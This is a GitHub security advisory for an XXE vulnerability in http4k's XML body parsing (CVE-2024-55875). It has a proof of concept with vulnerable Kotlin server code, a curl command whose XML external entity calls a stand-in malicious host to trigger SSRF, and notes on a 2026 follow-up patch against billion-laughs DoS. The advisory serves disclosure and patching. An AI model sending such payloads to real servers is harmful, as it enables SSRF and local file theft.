GHSA-7MJ5-HJJJ-8RGW
Vulnerability from github – Published: 2024-12-12 19:22 – Updated: 2026-06-09 10:42Summary
Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Example Vulnerable server code:
import org.http4k.core.*
import org.http4k.format.Xml.xml
import org.http4k.server.Netty
import org.http4k.server.asServer
import org.w3c.dom.Document
fun main() {
val xmlLens = Body.xml().toLens()
// Create an HTTP handler
val app: HttpHandler = { request ->
try {
// Parse the incoming XML payload to a Document object
val xmlDocument: Document = xmlLens(request)
// Extract root element name or other details from the XML
val rootElementName = xmlDocument.documentElement.nodeName
// Create a response XML based on the extracted information
val responseXml = """
<response>
<message>Root element is: $rootElementName</message>
</response>
""".trimIndent()
// Respond with XML
Response(Status.OK).body(responseXml).header("Content-Type", "application/xml")
} catch (e: Exception) {
// Handle invalid XML or other errors
Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}")
}
}
// Start the server
val server = app.asServer(Netty(9000)).start()
println("Server started on http://localhost:9000")
}
Maven dependency:
<dependencies>
<dependency>
<groupId>org.jetbrains.kotlin</groupId>
<artifactId>kotlin-test-junit5</artifactId>
<version>1.9.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
<version>5.10.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.jetbrains.kotlin</groupId>
<artifactId>kotlin-stdlib</artifactId>
<version>1.9.0</version>
</dependency>
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-core</artifactId>
<version>5.40.0.0</version>
</dependency>
<!-- Http4k XML format -->
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-format-xml</artifactId>
<version>5.40.0.0</version>
</dependency>
<!-- http4k Netty -->
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-server-netty</artifactId>
<version>5.40.0.0</version>
</dependency>
</dependencies>
Exploit payload example to trigger SSRF
curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"
Impact
What kind of vulnerability is it? Who is impacted? The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability
Follow-up patch — v6.50.0.0 (May 2026)
The original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting ACCESS_EXTERNAL_DTD="", ACCESS_EXTERNAL_SCHEMA="", and isExpandEntityReferences=false on the default DocumentBuilderFactory.
A residual gap remained: the parser still accepted documents containing <!DOCTYPE> declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using Body.xml() or Document.asXmlDocument() on untrusted XML.
v6.50.0.0 closes this residual by adding disallow-doctype-decl=true and FEATURE_SECURE_PROCESSING=true to defaultXmlParsingConfig. Any document containing a <!DOCTYPE> is now rejected at parse time.
Follow-up affected & fixed versions
| Version | Fixed Version |
|---|---|
>= 5.41.0.0, < 6.50.0.0 |
6.50.0.0 |
v6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases — contact enterprise@http4k.org if you need it.
Follow-up timeline
| Date/time (UTC) | Notes |
|---|---|
| 31/05/2026 17:12 | Follow-up patch merged (commit c0cfaf5d63) with new tests for <!DOCTYPE> rejection and billion-laughs payload rejection |
| 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.http4k:http4k-format-xml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.50.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-55875"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-611",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-12T19:22:01Z",
"nvd_published_at": "2024-12-12T19:15:13Z",
"severity": "CRITICAL"
},
"details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\nThere is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\nhttps://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46\nXML contents is parsed with DocumentBuilder without security settings on or external entity enabled\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n#### Example Vulnerable server code:\n```\nimport org.http4k.core.*\nimport org.http4k.format.Xml.xml\nimport org.http4k.server.Netty\nimport org.http4k.server.asServer\nimport org.w3c.dom.Document\n\nfun main() {\n\n val xmlLens = Body.xml().toLens()\n\n // Create an HTTP handler\n val app: HttpHandler = { request -\u003e\n try {\n // Parse the incoming XML payload to a Document object\n val xmlDocument: Document = xmlLens(request)\n\n // Extract root element name or other details from the XML\n val rootElementName = xmlDocument.documentElement.nodeName\n\n // Create a response XML based on the extracted information\n val responseXml = \"\"\"\n \u003cresponse\u003e\n \u003cmessage\u003eRoot element is: $rootElementName\u003c/message\u003e\n \u003c/response\u003e\n \"\"\".trimIndent()\n\n // Respond with XML\n Response(Status.OK).body(responseXml).header(\"Content-Type\", \"application/xml\")\n } catch (e: Exception) {\n // Handle invalid XML or other errors\n Response(Status.BAD_REQUEST).body(\"Invalid XML: ${e.message}\")\n }\n }\n\n // Start the server\n val server = app.asServer(Netty(9000)).start()\n println(\"Server started on http://localhost:9000\")\n}\n```\n#### Maven dependency:\n```\n\u003cdependencies\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n \u003cartifactId\u003ekotlin-test-junit5\u003c/artifactId\u003e\n \u003cversion\u003e1.9.0\u003c/version\u003e\n \u003cscope\u003etest\u003c/scope\u003e\n \u003c/dependency\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.junit.jupiter\u003c/groupId\u003e\n \u003cartifactId\u003ejunit-jupiter-engine\u003c/artifactId\u003e\n \u003cversion\u003e5.10.0\u003c/version\u003e\n \u003cscope\u003etest\u003c/scope\u003e\n \u003c/dependency\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n \u003cartifactId\u003ekotlin-stdlib\u003c/artifactId\u003e\n \u003cversion\u003e1.9.0\u003c/version\u003e\n \u003c/dependency\u003e\n\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n \u003cartifactId\u003ehttp4k-core\u003c/artifactId\u003e\n \u003cversion\u003e5.40.0.0\u003c/version\u003e\n \u003c/dependency\u003e\n\n \u003c!-- Http4k XML format --\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n \u003cartifactId\u003ehttp4k-format-xml\u003c/artifactId\u003e\n \u003cversion\u003e5.40.0.0\u003c/version\u003e\n \u003c/dependency\u003e\n\n \u003c!-- http4k Netty --\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n \u003cartifactId\u003ehttp4k-server-netty\u003c/artifactId\u003e\n \u003cversion\u003e5.40.0.0\u003c/version\u003e\n \u003c/dependency\u003e\n \u003c/dependencies\u003e\n```\n#### Exploit payload example to trigger SSRF\n`curl -X POST http://localhost:9000 -H \"Content-Type: application/xml\" -d \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\u003c!DOCTYPE root [\u003c!ENTITY xxe SYSTEM \\\"https://replace.with.your.malicious.website/poc\\\"\u003e]\u003e\u003croot\u003e\u0026xxe;\u003c/root\u003e\"`\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThe servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability\n\n### Follow-up patch \u2014 v6.50.0.0 (May 2026)\n\nThe original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting `ACCESS_EXTERNAL_DTD=\"\"`, `ACCESS_EXTERNAL_SCHEMA=\"\"`, and `isExpandEntityReferences=false` on the default `DocumentBuilderFactory`.\n\nA residual gap remained: the parser still **accepted** documents containing `\u003c!DOCTYPE\u003e` declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using `Body.xml()` or `Document.asXmlDocument()` on untrusted XML.\n\n **v6.50.0.0** closes this residual by adding `disallow-doctype-decl=true` and `FEATURE_SECURE_PROCESSING=true` to `defaultXmlParsingConfig`. Any document containing a `\u003c!DOCTYPE\u003e` is now rejected at parse time.\n\n#### Follow-up affected \u0026 fixed versions\n\n | Version | Fixed Version |\n |---------|---------------|\n | `\u003e= 5.41.0.0, \u003c 6.50.0.0` | **6.50.0.0** |\n\nv6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases \u2014 contact [enterprise@http4k.org](mailto:enterprise@http4k.org) if you need it.\n\n#### Follow-up timeline\n\n | Date/time (UTC) | Notes |\n |-----------------|-------|\n | 31/05/2026 17:12 | Follow-up patch merged (commit [`c0cfaf5d63`](https://github.com/http4k/http4k/commit/c0cfaf5d63)) with new tests for `\u003c!DOCTYPE\u003e` rejection and billion-laughs payload rejection |\n | 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |",
"id": "GHSA-7mj5-hjjj-8rgw",
"modified": "2026-06-09T10:42:52Z",
"published": "2024-12-12T19:22:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/http4k/http4k/security/advisories/GHSA-7mj5-hjjj-8rgw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55875"
},
{
"type": "WEB",
"url": "https://github.com/http4k/http4k/commit/35297adc6d6aca4951d50d8cdf17ff87a8b19fbc"
},
{
"type": "PACKAGE",
"url": "https://github.com/http4k/http4k"
},
{
"type": "WEB",
"url": "https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "http4k has a potential XXE (XML External Entity Injection) vulnerability"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.